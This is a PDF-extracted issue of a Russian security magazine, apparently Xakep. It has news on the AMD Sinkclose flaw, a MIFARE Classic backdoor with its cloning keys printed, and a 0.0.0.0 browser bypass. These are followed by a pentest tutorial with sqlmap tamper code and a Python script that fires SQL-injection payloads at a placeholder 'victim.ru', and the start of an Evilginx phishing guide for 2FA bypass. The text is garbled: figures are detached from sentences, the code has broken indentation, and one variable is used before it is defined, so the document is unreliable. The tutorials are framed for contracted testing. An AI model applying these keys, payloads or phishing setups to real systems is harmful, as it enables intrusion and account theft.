аппаратное обеспечение, отвечает за безопасность и выполняет другие низ‐
коуровневые операции, необходимые для  стабильности системы. Имея
высокий уровень привилегий, SMM изолирован от ОС, чтобы предотвратить
возможные атаки.

Проблема Sinkclose, обнаруженная специалистами компании IOActive,
получила идентификатор CVE-2023-31315 и оценивается в 7,5 балла по шка‐
ле CVSS.

Исследователи заявили, что Sinkclose оставалась незамеченной на  про‐
тяжении почти  20  лет и  в результате затрагивает широкий спектр моделей
процессоров AMD.

Уязвимость позволяет злоумышленникам с доступом на уровне ядра (Ring
0) изменять настройки SMM, даже если активна блокировка SMM (SMM
Lock). В результате проблема может использоваться для отключения защит‐
ных функций и установки на устройство стойкого, практически не поддающе‐
гося обнаружению вредоносного ПО.

Так как  уровень Ring -2  изолирован и  «невидим» для  ОС и  гипервизора,
такие вредоносные модификации не  получится обнаружить или  устранить
с  помощью средств защиты, работающих на  уровне ОС. По  словам иссле‐
дователей, единственный способ найти и  удалить малварь, установленную
с  помощью Sinkclose,  — это  физически подключаться к  процессорам
с помощью программатора SPI Flash и сканировать память.

«

»

«Представьте себе правительственных хакеров или  кого угодно, кто
хочет сохранить доступ к  вашей системе. Даже если вы очистите
диск, вредонос все равно останется. Он будет почти необнаружим
и  практически неустраним. Только вскрытие корпуса компьютера,
физическое подключение непосредственно к  определенным мик-
росхемам (с помощью аппаратного решения, известного как SPI Flash)
и  тщательная очистка памяти позволят удалить вредоносную прог-
рамму. По сути, вам придется выбросить свой компьютер», — говорят
эксперты, называя такую атаку наихудшим из возможных сценариев.

По  инженеров AMD, проблема затрагивает следующие модели про‐
цессоров (почти все процессоры AMD, выпущенные с 2006 года):

данным

• EPYC первого, второго, третьего и четвертого поколений;
• EPYC Embedded 3000, 7002, 7003 и 9003, R1000, R2000, 5000 и 7000;
• Ryzen Embedded V1000, V2000 и V3000;
• Ryzen серий 3000, 5000, 4000, 7000 и 8000;
• серии Ryzen 3000 Mobile, 5000 Mobile, 4000 Mobile и 7000 Mobile;
• Ryzen Threadripper серий 3000 и 7000;
• AMD Threadripper PRO (Castle Peak WS SP3, Chagall WS);
• AMD Athlon 3000 серии Mobile (Dali, Pollock);
• AMD Instinct MI300A.

В своем бюллетене безопасности AMD сообщает, что уже подготовила
исправления для  десктопных и  мобильных процессоров EPYC и  AMD Ryzen,
а исправления для встроенных процессоров появятся позже.

Как было сказано выше, доступ на  уровне ядра является необходимым
условием для  осуществления атаки Sinkclose. В  своем сообщении предста‐
вители AMD это  подтвердили и  подчеркнули сложность эксплуатации CVE-
2023-31315 в реальных условиях. В ответ на это в  IOActive заявили, что уяз‐
вимости уровня ядра, хотя и не распространены широко, существуют и не так
уж редки.

Исследователи уверены, что Sinkclose может представлять серьезную
угрозу для  организаций, использующих системы на  базе AMD, особенно
со стороны «правительственных» хакеров. Они договорились с AMD не пуб‐
ликовать каких‑либо PoC-эксплоитов для  Sinkclose в  течение нескольких
месяцев, чтобы у  пользователей было больше времени для  исправления
проблемы.

 РАСШИРЕНИЙ НЕ ПЕРЕШЛИ НА MANIFEST V355 000

Пока разработчики расширений для  Chrome перенесли только  расширений на  новый
фреймворк. При  этом недавно компания Google начала  поль‐
зователям, которые все еще используют расширения Manifest V2, и уведомляет об их скором
отключении.

58%
показывать предупреждения

Согласно статистике ресурса Chrome-Stats, выходит, что Google собирается удалить около
 устаревших расширений из Chrome Web Store.55 000

Продолжение статьи
→
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БЭКДОР В MIFARE
CLASSIC
Французская компания Quarkslab сообщила, что нашла бэкдор в  миллионах
карт производства Shanghai Fudan Microelectronics Group, ведущего произво‐
дителя чипов в  Китае. Эта «закладка» позволяет мгновенно клонировать
RFID-карты, построенные на  чипах MIFARE Classic от  NXP, которые исполь‐
зуются в  общественном транспорте, офисах, гостиницах, финансовых
учреждениях и других организациях по всему миру.

Исследователи предупреждают, что для выполнения атаки злоумышленни‐
ку потребуется провести всего несколько минут рядом с  уязвимой картой,
но в случае массовой атаки на цепочку поставок компрометацию можно осу‐
ществить практически мгновенно и в больших масштабах.

Бэкдор был найден случайно, в  ходе изучения безопасности семейства
смарт‑карт . Карты этого семейства, запущенного
в далеком 1994 году компанией Philips (сейчас NXP Semiconductors), широко
используются по всему миру и за прошедшие годы не раз подвергались ата‐
кам.

MIFARE Classic

В частности, большой проблемой были уязвимости, допускающие атаки
типа card-only (требующие доступа к  карте, но  не к  считывающему устрой‐
ству), что позволяло клонировать карты или  считывать и  перезаписывать их
содержимое, просто находясь рядом в течение нескольких минут.

Однако со  временем уязвимости, обнаруженные ИБ‑экспертами, устра‐
нялись в  новых версиях MIFARE Classic. И  в  2020  году компания Shanghai
Fudan Microelectronics, ведущий китайский производитель нелицензирован‐
ных MIFARE-совместимых чипов, представила версию FM11RF08S MIFARE
Classic. Этот вариант имел ряд защитных мер, направленных на  предотвра‐
щение известных атак типа card-only, и  быстро завоевал популярность
по всему миру.

Изучая FM11RF08S, где используется защита static encrypted nonce,
исследователи сумели разработать атаку, способную взламывать ключи
FM11RF08S за несколько минут, если те используются повторно как минимум
в трех секторах или на трех картах.

Именно во  время проведения этого исследования аналитики Quarkslab
обнаружили аппаратный бэкдор, позволяющий выполнять аутентификацию
с  помощью неизвестного ключа. Использовав разработанную ими атаку
для взлома ключей, специалисты поняли, что бэкдор‑ключ одинаков для всех
существующих карт FM11RF08S — A396EFA4E24F.

После этого открытия аналогичный бэкдор, связанный с  другим ключом,
был найден и в предыдущем поколении карт (FM11RF08). После того как был
взломан и второй секретный ключ (A31667A8CEC1), выяснилось, что он тоже
является общим для всех карт FM11RF08, а также других моделей этого про‐
изводителя (FM11RF32, FM1208-10) и  даже ряда старых карт NXP
Semiconductors и Infineon Technologies.

Исследователи полагают, что бэкдор появился еще  в  2007  году. То есть
миллионы карт, выпущенных за последние 17 лет, можно без труда клониро‐
вать за несколько минут или даже секунд.

«

»

«Бэкдор FM11RF08S позволяет любому лицу, знающему о нем, ском-
прометировать все установленные пользователем ключи на этих кар-
тах, даже если они полностью диверсифицированы, просто получив
доступ к  карте на  несколько минут,  — сообщается в  отчете
Quarkslab. — Многие, вероятно, даже не подозревают о том, что карты
MIFARE Classic, которые они получили от  своего поставщика,
на самом деле представляют собой Fudan FM11RF08 или FM11RF08S,
поскольку эти два чипа распространены не только на китайском рын-
ке. Например, мы обнаружили, что эти карты используются во многих
отелях в США, Индии и странах Европы».

6 ДНЕЙ НА УСТАНОВКУ ПАТЧЕЙ
Обычно злоумышленники разрабатывают и  публикуют в  даркнете эксплоиты для  критических
уязвимостей менее чем за неделю, предупредили в Positive Technologies.

В среднем PoC-эксплоит становится доступен уже через  после публикации информа‐
ции о критическом баге и через неделю — для некритических уязвимостей.

6 дней

Спустя еще   обсуждения критически опасных уязвимостей начинают появляться на спе‐
циализированных площадках в даркнете и в Telegram-каналах.

5 дней

Чаще всего злоумышленники обсуждают уязвимости с  сетевым вектором атаки (доля таких
сообщений составила ).70%

Также наиболее упоминаемыми среди киберпреступников стали уязвимости в   (
), продуктах  ( ) и Java-фреймворке 

( ). Также пристального внимания удостоились проблемы  (
) и   ( ).

WinRAR CVE-
2023-38831 Fortinet CVE-2022-40684 Spring Framework
CVE-2022-22965 Linux CVE-2022-

0847 Microsoft Support Diagnostic Tool CVE-2022-30190

В подавляющем большинстве сообщений в даркнете ( ) злоумышленники обсуждают пуб‐
личные версии PoC-эксплоитов, и  лишь  сообщений связаны с  обсуждением покупки
или продажи эксплоита для проведения реальных атак.

92%
8%

ПРОБЛЕМА 0.0.0.0
DAY
Обнаруженная  18  лет назад уязвимость, получившая название  0.0.0.0 Day,
позволяет вредоносным сайтам обходить защиту браузеров Google Chrome,
Mozilla Firefox и  Apple Safari и  взаимодействовать с  сервисами в  локальной
сети. Проблема затрагивает только устройства под  управлением Linux
и macOS, но не работает в Windows.

Несмотря на  то что  была найдена
в далеком 2008 году, она до сих пор не устранена в Chrome, Firefox и Safari,
хотя разработчики всех трех компаний уже признали наличие проблем
и заверили, что работают над их устранением.

изначальная уязвимость

Внимание к 0.0.0.0 Day привлекли исследователи из компании Oligo Security,
которые подчеркивают, что риск в  данном случае вовсе не  теоретический
и несколько хакгрупп уже используют проблему в своих цепочках атак.

Уязвимость связана с  несогласованностью механизмов безопасности
в разных браузерах и отсутствием стандартизации, что позволяет сайтам вза‐
имодействовать со службами в локальной сети, используя «wildcard» IP-адрес

.0.0.0.0
Как правило, 0.0.0.0  олицетворяет все IP-адреса на  локальной машине

или все сетевые интерфейсы на хосте. Он может использоваться в качестве
адреса‑заменителя в  запросах DHCP или  интерпретироваться как  localhost
(127.0.0.1) при работе в локальной сети.

Проблема в том, что вредоносные сайты могут отправлять HTTP-запросы
на 0.0.0.0, нацеленные на службу, работающую на локальной машине жертвы.
Из‑за отсутствия комплексной защиты эти запросы часто действительно
передаются службе и  обрабатываются. Как  поясняют эксперты, существу‐
ющие механизмы защиты, включая Cross-Origin Resource Sharing (CORS)
и Private Network Access (PNA), не способны остановить такую атаку.

По умолчанию браузеры не позволяют сайтам отправлять запросы на дру‐
гие сайты и  использовать полученную в  ответ информацию. Это  сделано
для  того, чтобы вредоносные ресурсы не  могли получить доступ к  другим
URL-адресам в  браузере пользователя, на  которых тот может быть аутен‐
тифицирован (например, к порталу онлайн‑банкинга или почте).

Однако в  браузерах существует технология CORS, позволяющая сайтам
получать доступ к данным с других сайтов, если это явно разрешено.

«

»

«CORS — это замечательно, это делает интернет намного безопаснее.
CORS предотвращает попадание ответов к злоумышленникам, поэто-
му злоумышленники не могут прочитать данные, отправляя недействи-
тельные запросы. При  отправке запроса, если в  ответе отсутствуют
заголовки CORS, JavaScript-код атакующих не  сможет прочитать
содержимое ответа. Но непрозрачные запросы могут быть отправлены
в режиме no-cors и  успешно дойдут до  сервера, особенно если нас
в целом не интересуют ответы», — объясняют в Oligo Security.

То есть, когда цель угрожающего злоумышленника заключается в том, чтобы
просто добраться до HTTP-эндпоинта, запущенного на локальном устройстве
и  подходящего для  изменения настроек или  выполнения какой‑то задачи,
output вообще не нужен.

Защита PNA работает немного иначе, чем CORS, блокируя любые зап‐
росы, которые пытаются подключиться к  IP-адресам, считающимся локаль‐
ными и приватными. Однако анализ показал, что IP-адрес 0.0.0.0 не включен
в список запрещенных адресов PNA (как, например, 127.0.0.1). То есть, когда
запрос в режиме no-cors отправляется на этот специальный адрес, он может
обойти защиту PNA и  подключиться к  URL веб‑сервера, запущенного
на 127.0.0.1.

В своем отчете специалисты рассказывают сразу о  нескольких случаях
эксплуатации проблемы  0.0.0.0 Day. В  первом случае речь идет о  кампании

, о которой аналитики Oligo Security уже писали в марте прошлого
года. Эта кампания нацелена на уязвимость в опенсорсном ИИ‑фреймворке
Ray.

ShadowRay

Атака начинается с  того, что жертва переходит по  ссылке, полученной
по  почте или  найденной на  вредоносном сайте. По  ссылке запускается
JavaScript для  отправки HTTP-запроса на  http://0.0.0.0(.)0:8265, обычно
используемого Ray. В итоге эти запросы достигают локального кластера Ray
и  могут привести к  выполнению произвольного кода, развертыванию
реверс‑шеллов и изменению конфигурации.

Во втором случае  0.0.0.0 Day используется в  кампании, нацеленной
на  Selenium Grid и  обнаруженной специалистами компании Wiz в  прошлом
месяце. В этом случае злоумышленники используют JavaScript на публичном
домене для  отправки запросов на  http://0.0.0(.)0:4444. Эти запросы нап‐
равляются на  серверы Selenium Grid, что позволяет хакерам выполнить код
или произвести разведку.

Кроме того, в  октябре  2023  года Oligo Security сообщала об  уязвимости
, связанной с  тем, что веб‑панель TorchServe по  умолчанию при‐

вязана к  IP-адресу 0.0.0.0 вместо localhost, что открывало ее для вредонос‐
ных запросов.

ShellTorch

Исследователи предупреждают, что в  последнее время наблюдается
стремительный рост количества сайтов, пытающихся взаимодействовать
с 0.0.0.0: недавно их количество превысило 100 тысяч.

Разработчики браузеров уже отреагировали на  публикацию отчета иссле‐
дователей.

В Google Chrome сообщили, что , но  раз‐
вертывание исправления будет постепенным, начиная с версии 128 и закан‐
чивая версией 133.

заблокируют доступ к  0.0.0.0

В Mozilla Firefox PNA не  применяется, но  это один из  приоритетов раз‐
работчиков. Пока PNA не будет реализована, запущена работа над 

, хотя дата его выпуска неизвестна.
времен‐

ным исправлением
Apple внедрила дополнительные проверки для  IP-адресов в  Safari

с помощью , и доступ к 0.0.0.0 будет заблокирован в гря‐
дущей версии 18, которую представят вместе с macOS Sequoia.

изменений в WebKit

До момента выхода исправлений в Oligo Security рекомендуют разработ‐
чикам приложений использовать следующие меры безопасности:
• внедрять заголовки PNA;
• проверять заголовки HOST для защиты от атак типа DNS rebinding;
• не доверять даже localhost и всегда использовать авторизацию;
• по возможности использовать HTTPS;
• внедрять CSRF-токены, даже для локальных приложений.

ОБЪЕМ УТЕЧЕК УВЕЛИЧИЛСЯ НА 14%
По данным сервиса разведки утечек данных и  мониторинга даркнета DLBI (Data Leakage &
Breach Intelligence), объем утечек персональных данных за первые полгода 2024 года превысил
объем аналогичного периода прошлого года на  , однако общее число утечек снизилось.14%

За январь — июнь у российских компаний произошло  утечки данных, включавших в себя
 уникальных email-адресов и   уникальных телефонных

номеров. Для сравнения — за аналогичный период прошлого года произошло более 200 утечек.

144
46  миллионов 140  миллионов

Также в три раза (с  до  ) снизилось количество крупных утечек данных, чей объем пре‐
вышает  записей.

60 20
1 миллион

Основным источником утечек, как  и в  прошлом году, остаются взломы с  использованием
известных уязвимостей, найденных с  помощью сканирования сетевой инфраструктуры ком‐
паний или хищения данных для удаленного доступа к ней.

ROMHACKING
ЗАКРЫЛСЯ
О закрытии объявил известный посвященный ромхакингу ресурс ROMhacking
(RomHacking.net), на  котором около  20  лет публиковались всевозможные
ремейки, переводы, исправления и  экспериментальные версии игр. Сайт
останется доступен только для чтения.

Огромная коллекция ROMhacking, включающая в  себя как  очень мало‐
известные, так и мейнстримовые игры, будет сохранена. Однако основатель
сайта, Nightcrawler, опубликовал заявление, в  котором выразил благодар‐
ность сообществу, но осудил действия некоторых его участников.

Nightcrawler рассказал, что еще в прошлом году хотел свернуть все дела
и  попытался передать управление сайтом небольшой команде пользовате‐
лей, которые были готовы работать над ресурсом. Именно тогда, пишет соз‐
датель сайта, он «обнаружил самую бесчестную и полную ненависти группу»
людей, которые попытались отстранить его от  управления, устроили травлю
и раскрыли его личные данные.

«

»

«Я узнал, что очень долгое время меня обесчеловечивали. Мои лич-
ные данные были разглашены. Были разработаны тайные коварные
планы, чтобы избавиться от меня и „сбросить бомбу“, будто я — цель,
которую нужно уничтожить. Моя семья видела все это, и  после
обсуждения мы решили немедленно свернуть всю активность, связан-
ную с  сайтом. Мы разрываем связь с  социальными сетями (Discord
и  Twitter) и  более не  будем контактировать с  этими людьми. Черта
пройдена», — пишет Nightcrawler.

БД сайта (за исключением аккаунтов и  профилей участников) уже передана
архивариусам . С 1 августа 2024 года на ROMhacking остались
только новостные посты и  форумы, а  все остальное будет доступно только
для  чтения. Официальные аккаунты ресурса в  Twitter и  Discord прекратили
работу.

Internet Archive

С публикацией Nightcrawler выразил несогласие Гидеон Чжи (Gideon Zhi),
владелец Time Capsule Games и  участник ROMhacking на  протяжении
более 20 лет.

Чжи признает, что у сайта имеются технические долги, денежные затраты,
а  его администратор не  может не  выгорать. Однако, по  словам Чжи, в  кон‐
це 2023 года Nightcrawler собирался просто отключить ресурс, без подготов‐
ки какого‑либо архива и передачи данных. А требования к возможному пре‐
емнику, которые выдвигал основатель сайта, Чжи назвал «нереалистичными
по  любым меркам». Тогда участники сообщества попытались предложить
помощь, однако ничего не вышло.

«
»

«Он (Nightcrawler) выступал в  роли единственной точки отказа
для сайта и железной рукой контролировал весь созданный сообщес-
твом контент, а  также категорически отвергал практически любые
предложения о помощи за последнее десятилетие», — говорит Чжи.

Так, в прошлом году сайт якобы был практически заброшен, после чего заин‐
тересованные участники сообщества объединились в  Discord и  попытались
перевести бэкенд ресурса на современные системы хранения и обслужива‐
ния файлов, включая Amazon Web Services S3, но  Nightcrawler в  последнюю
минуту наложил вето на эти изменения. Также Чжи уверяет, что добровольцы,
участвовавшие в  этих преобразованиях, никогда не  угрожали Nightcrawler
и не пытались его доксить.

Администратор теперь неофициального Discord-сервера ROMhacking
подтвердил СМИ, что отношения между основателем ресурса и группой энту‐
зиастов были натянутыми. Однако администратор Discord-сервера тоже
отрицает любые угрозы и  попытки преследования Nightcrawler со  стороны
пользователей.

ДРУГИЕ ИНТЕРЕСНЫЕ СОБЫТИЯ МЕСЯЦА
Смартфоны Xiaomi смогут обнаруживать скрытые камеры

35 000 доменов захвачены хакерами благодаря DNS-атаке Sitting Ducks

Скоро uBlock Origin перестанет работать в Google Chrome

Даунгрейд‑атака помогает использовать старые уязвимости в Windows

Специалисты НКЦКИ ФСБ предупредили об опасности браузера «Спутник»

Роскомнадзор сообщил о блокировке мессенджера Signal

Операторы просят Минцифры и РКН предоставить разъяснение о замедлении YouTube

В открытый доступ утекли 2,7 миллиарда записей с данными американцев

Google закрывает программу по поиску багов в приложениях Google Play

Разработчик Styx Stealer случайно слил собственные данные
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SQL-инъекции  — одна из  самых приятных
уязвимостей при пентесте. Но встречаются
они все реже, поскольку современные инс‐
трументы безопасности без  труда их
отлавливают. Сложнее бывает выявить инъ‐
екцию, которая срабатывает при  передаче
данных между сервисами. Сегодня мы
поговорим о  детекте именно таких SQLi  —
тех, что срабатывают не  сразу, а  где‑то
в глубине бизнес‑логики.

Сначала разберемся с  общей методологией поиска многоэтапных SQLi,
затем посмотрим, какие встроенные функции sqlmap помогут нам в  выяв‐
лении, а под конец напишем собственную обертку для поиска таких инъекций.

WARNING

Статья имеет ознакомительный характер и пред‐
назначена для  специалистов по  безопасности,
проводящих тестирование в  рамках контракта.
Автор и  редакция не  несут ответственности
за  любой вред, причиненный с  применением
изложенной информации. Распространение вре‐
доносных программ, нарушение работы систем
и  нарушение тайны переписки преследуются
по закону.

КАК ИСКАТЬ МНОГОЭТАПНЫЕ SQLI

В тестировании многоэтапных инъекций я выделяю четыре основных этапа.
1.  На  этапе подготовки создаются данные или  объекты,

в  которые или  при помощи которых будет выполняться инъекция. 
 создание черновика новости на  новостном портале (кнопка «Соз‐

дать черновик») или создание нового письма (кнопка «Написать письмо»).

Подготовка.

При-

мер:

2.  Этап, на  котором происходит непосредственное добав‐
ление нагрузки в  передаваемые данные.  сохранение новости

после редактирования.

Внедрение.

Пример:

3.  На  этом этапе подтверждается создание объекта.
 подтверждение публикации новости.

Подтверждение.

Пример:

4.  Здесь подразумевается, что есть отдельная страница,

на  которой можно увидеть результат срабатывания инъекции. 

страница опубликованной новости.

Результат.

Пример:

Каждый этап может представлять собой несколько запросов, однако их суть
при этом сохраняется:
1. Запросы перед инъекцией.
2. Запрос с инъекцией.
3. Запросы после инъекции.
4. Проверка срабатывания.

В бизнес‑логике приложения могут присутствовать не все этапы. Например,
нет этапа подготовки: для создания новости может быть не нужно отправлять
отдельный запрос, новость создается сразу во время редактирования.

ВСТРОЕННЫЕ ФУНКЦИИ В SQLMAP ДЛЯ ЭКСПЛУАТАЦИИ
МНОГОЭТАПНЫХ SQLI

Встроенные функции sqlmap позволяют взаимодействовать не только с зап‐
росом, в  который внедряется нагрузка, но  и с  запросами, идущими после
него и перед ним.

Основные функции:
обработка нагрузки (tamper);•
изменение основного запроса (eval);•
выполнение одного запроса после основного (second-req/second-url).•

Sqlmap tamper
 модификация нагрузки перед  отправкой при  помощи кода

на Python.
Назначение:

Параметр:

--tamper /path/to/tamper


Особенности:

Есть готовые темперы. Обычно они расположены в 
.

• /usr/share/

sqlmap/tamper/

Посмотреть существующие темперы можно командой 
.

• sqlmap --list-

tampers

Можно создавать собственные темперы на Python.•

Для чего может быть полезен:

обход WAF, ;• примеры на GitHub
выполнение запросов перед отправкой основной нагрузки sqlmap.•

Как создать кастомный tamper
Создаем файл с  расширением .py. Например, . Вставляем в  него
заготовку:

test.py

#!/usr/bin/env python3
   from lib.core.enums import PRIORITY

  __priority__ = PRIORITY.NORMAL

 def dependencies():
    pass

  def tamper(payload, **kwargs):
    """
        This accepts the payload that SQLMap will send to the
        target, then returns the formatted payload
    """

     if payload:
        # Do stuff to the payload here. Probably best to
        # set a new variable and return that once you
        # manipulate it however.
        pass

     return payload

Коротко о том, что есть в этой структуре:
1.   — переменная, которая позволяет определить порядок

tamper sqlmap, если их несколько. Всего существует семь регламен‐
тированных значений:

__priority__

;• PRIORITY.LOWEST

;• PRIORITY.LOWER

;• PRIORITY.LOW

;• PRIORITY.NORMAL

;• PRIORITY.HIGH

;• PRIORITY.HIGHER

.• PRIORITY.HIGHEST

2.  — потенциально эта функция предназначена для допол‐
нительных зависимостей, но  в данный момент используется в  темперах
только для вывода информации в sqlmap:

dependencies()

 def dependencies():
    singleTimeWarnMessage("This is a warning from your tamper 
script!")

3.  — функция, обрабатывающая полезную наг‐

рузку, которая передается в  параметре . Также можно получить

доступ к  другим параметрам запроса через . И  даже изменить
их:

tamper(payload, **kwargs)
payload

**kwargs

  def tamper(payload, **kwargs):
       headers = kwargs.get("headers", {})
      headers["X-FORWARDED-FOR"] = "127.0.0.1"
     return payload

Последним шагом необходимо создать в директории пустой файл 

.

__init__.
py

Теперь мы можем указывать этот файл в  параметре, как  показывалось
до этого:

--tamper /path/to/test.py


Также может быть полезно изучить эти материалы:
HackTricks: • Second Order Injection — SQLMap
Статья по темперу sqlmap: • Writing your own SQLMap Tamper Scripts
Китайская мудрость на тему автоматизации sqlmap: • Semi-automatic-mode-
sqlmap

Sqlmap eval
 модификация запроса перед  отправкой при  помощи кода

на Python.

Назначение:

Параметр:

--eval="#first line; #second line; #third line"

Особенности:

Не имеет доступа к  нагрузке, которая будет передана. При  замене
переменной нагрузка утрачивается.

•

Модифицирует запрос каждый раз, когда отправляется основная нагрузка;
 не модифицируется.

•
--second-req

Модифицировать можно любую часть запроса, в том числе и URI.•

Для чего может быть полезен:

обход WAF, ;• пример на GitHub
выполнение запросов перед отправкой основной нагрузки sqlmap.•

Пример использования eval
Для использования  код на Python передается в параметр  в виде

однострочника:

eval --eval

sqlmap … --eval="import time; title=time.time()"

Sqlmap сам парсит передаваемые данные, что позволяет обращаться к ним
напрямую. На  рисунке ниже продемонстрировано изменение переменной
внутри тела запроса, заменяющее значение  текущим временем.title

Sqlmap second-req/second-url
 отправка запроса  основного запроса и нагрузки.Назначение: после

Параметр:

--second-req /path/to/request

--second-url http://127.0.0.1/API


Особенности:

Second-req (но не  second-url) может конфликтовать с  , из‑за чего
sqlmap будет падать на этапе инициализации (проверки WAF).

• eval

Не поддается изменению, так как  tamper вызывается при обработке наг‐
рузки (ее здесь нет), а   вызывается на основной запрос или конфлик‐
тует.

•
eval

Запрос из second-req/second-url будет делаться каждый раз, 
. Если нагрузка не стреляет, то запрос second-req/second-

url тоже не  будет выполнен. На  рисунке ниже видно, что sqlmap не  делает
second-req на проверочных запросах (проверка доступности сайта).

когда выпол-

няется нагрузка

Краткие выводы
Таким образом, на данный момент есть несколько механизмов, позволяющих
выполнять дополнительные запросы: tamper, eval, second request. Краткое их
сравнение — в таблице ниже.

Проблемы при эксплуатации многоэтапных SQLi через sqlmap
Существующие кастомизируемые механизмы (tamper и  eval) могут помочь
только при создании запросов  основной нагрузкой и повлиять на сам

запрос с  основной нагрузкой. Таким образом, они помогают на  этапах  1
(подготовка) и 2 (внедрение).

перед

Модифицировать же запросы после основного через sqlmap сейчас
невозможно. Запрос из  second request нельзя изменить, а  также нельзя
отправить больше одного запроса, что может потребоваться на этапе 3 (под‐
тверждение) и этапе 4 (результат).

В итоге sqlmap может помочь в  эксплуатации многоэтапных инъекций,
но состоящих только из двух или трех (в лучшем случае) этапов.

При наиболее простом сценарии  — когда нужен только этап подготовки  —
sqlmap может хорошо справиться со своей задачей в поиске и эксплуатации
составных SQLi.

ПИШЕМ СВОЮ ОБЕРТКУ

Оптимальной я вижу такую схему тестирования многоэтапных SQLi
при помощи кастомных скриптов на Python:
1. Есть цепочка запросов (stage 1, stage 2, ...), после каждого запроса выпол‐

няется проверка статуса, времени и  длины ответа, а  также наличия зап‐
росов на внешний сервер — out-of-bounds (OOB).

2. Эти запросы выполняются в  функции, которая принимает нагрузку
( ). Далее эта нагрузка подставляется в запросы (stage 1, stage 2,
...).
payload

3. Функция  запускает функцию с  цепочкой параллельно в  пять вор‐
керов и  передает в  нее нагрузку из  заданного словаря и  сессионную
cookie.

main

Пример кода
Для начала импортируем необходимые библиотеки, в  том числе
и   — для выполнения параллельных запросов.concurrent.futures

 import concurrent.futures
 import requests
 import json
 import argparse

   from urllib3.exceptions import InsecureRequestWarning
   from urllib3 import disable_warnings

 disable_warnings(InsecureRequestWarning) #for ingnore tls errors

Функция  будет обрабатывать переданные аргументы:args_parser()

 def args_parser():
      parser = argparse.ArgumentParser(add_help=True, description='''
       Делает транзакции

        ''', formatter_class=RawTextHelpFormatter)
    parser.add_argument("-w",'--wordlist', dest='wordlist',type=str,
help="Путь до словаря с нагрузками")
    parser.add_argument("-s",'--session-cookie', dest='session',type=
str,help="Текущая сессионная кука")
    return parser.parse_args()

Ниже — пример главной функции, где реализована многопоточность на пять
воркеров. Скрипт получает аргументы командной строки, подгружает путь
до  вордлиста, а  также сессионные cookie, чтобы выполнять аутентифици‐
рованные запросы. После получения всех данных при  помощи абстракции

 создаем пул воркеров, которые

будут выполнять заданную функцию. Запускаются потоки при  помощи
, в которую передается исполняемая функция и ее парамет‐

ры.

concurrent.futures.ThreadPoolExecutor

executor.submit

 def main():
   args=args_parser()
     wordlist = args.wordlist
   session=args.session

      f = open(wordlist, "r")

      with concurrent.futures.ThreadPoolExecutor(max_workers=5) as
executor:

          for line in f:
             executor.submit(send_req, line, session)

       f.close()

Далее  — пример функции, которую мы передаем в  . Она будет

отправлять запросы с нагрузкой из словаря. В этом примере функция пред‐
ставлена в  виде трех частей: Create vars, STAGE 1  и  STAGE 2. В  Create vars
задаются общие значения для всех следующих запросов, например значение

 и  заголовок . Стадий может быть сколько угодно, они

представляют собой запросы для  разных этапов бизнес‑логики. Новый зап‐
рос — новый STAGE. В данном случае для примера приведено два STAGE.

executor

cookie User-Agent

    def send_req(payload: str, session_cookie: str):
   ### Create vars
     cookies = {

        'Session': session_cookie,
   }
     headers = {

        'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:109.0) 
Gecko/20100101 Firefox/115.0',
       # Some headers
   }

   ### STAGE 1
     json_data = {
       # Some data
   }
     response = requests.post(
       'https://victim.ru/transactions',
       cookies=cookies,
       headers=headers,
       json=json_data,
   )
     dictData = json.loads(response.content)
   # Work with data ...
   try:
       # Check your business logic
       transactionId=int(dictData['transactionId'])
   except:
       # handle_error here
       handle_error()
   check_interests(response,1,payload,210)

   ### STAGE 2
     json_data = {
       # Some data 2
   }
     response = requests.put(
       'https://victim.ru/transactions/'+str(transactionId),
       cookies=cookies,
       headers=headers,
       json=json_data,
   )
   if (response.status_code)!=200:
       handle_error()
   else:
       pass
   check_interests(response,2,payload,2010)

Также важно отследить аномалии, которые были получены при передаче наг‐
рузок из  словаря. Далее  — пример функции, которая обрабатывает ано‐
малии: измеряет время ответа сервера (срабатывает, если длительность
больше десяти секунд), а также проверяет длину ответа в сравнении с обыч‐
ной длиной.

   def check_interests(response, stage, payload,normal_len):
      if response.elapsed.total_seconds() > 10:

         print("Intresting time result in ", stage,": ", payload,"
Diff: ",diff)
     diff = len(response.text)-normal_len
      if diff > 2:

         print("Intresting len result in ", stage,": ", payload,"Diff:
",diff)

Помимо этого, не стоит забывать в передаваемых нагрузках уточнить сервер
для OOB и периодически проверять его на наличие отстуков.

ВЫВОДЫ

Итак, для  выявления и  эксплуатации многоэтапных SQLi кодить будет почти
всегда необходимо. В случае с sqlmap — для темпера (дальше эксплуатирует
инъекцию уже сам sqlmap). Но  на данный момент sqlmap не  может помочь
в эксплуатации многоэтапных инъекций, для которых необходим запрос‑под‐
тверждение после основного запроса с нагрузкой.

Более сложные инъекции можно детектировать при  помощи кастомных
скриптов (с отслеживанием статуса, длины и  времени ответа), а  также
использования нагрузок out-of-bound. Но  эксплуатировать выявленную инъ‐
екцию в этом случае придется вручную.

Как защититься от таких атак? Остается только проверять данные на всех
этапах работы приложения, а не только на входной точке.

Удачи в поисках нетривиальных инъекций!

mailto:urvancev-00@mail.ru
https://github.com/gagaltotal/Bypass-WAF-SQLMAP/blob/master/Example-Bypass-WAF-SQLMAP.txt
https://book.hacktricks.xyz/pentesting-web/sql-injection/sqlmap/second-order-injection-sqlmap
https://agrohacksstuff.io/posts/sqlmap-tamper-scripts/
https://eson.ninja/pentest-learning/semi-automatic-mode-sqlmap/
https://github.com/gagaltotal/Bypass-WAF-SQLMAP/blob/master/Example-Bypass-WAF-SQLMAP.txt
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ВЗЛОМ

В этой статье я объясню, как  построить
инфраструктуру для  симуляции фишин‐
говой атаки в  рамках тестирования орга‐
низации. Мы создадим с  нуля почтовый
сервер, установим и  настроим обратный
прокси Evilginx, а  затем внедрим его
в фишинговый фреймворк Gophish. В конце
я покажу на  практике процесс проведения
фишинговой атаки с  перехватом логина,
пароля и  сессионных cookie, c последу‐
ющим обходом двухфакторной аутен‐
тификации.

WARNING

Статья имеет ознакомительный характер и пред‐
назначена для  специалистов по  безопасности,
проводящих тестирование в  рамках контракта.
Автор и  редакция не  несут ответственности
за  любой вред, причиненный с  применением
изложенной информации. Распространение вре‐
доносных программ, нарушение работы систем
и  нарушение тайны переписки преследуются
по закону.

СВЯЗКА EVILGINX И GOPHISH

Два фреймворка, которые мы будем использовать для  проведения фишин‐
говой кампании, называются Evilginx и Gophish. Это два самостоятельных инс‐
трумента, которые выполняют разные задачи.

Gophish — это программа с открытым кодом, созданная Джорданом Рай‐
том. Gophish позволяет проводить автоматизированные фишинговые рас‐
сылки и таким образом имитировать действия злоумышленника.

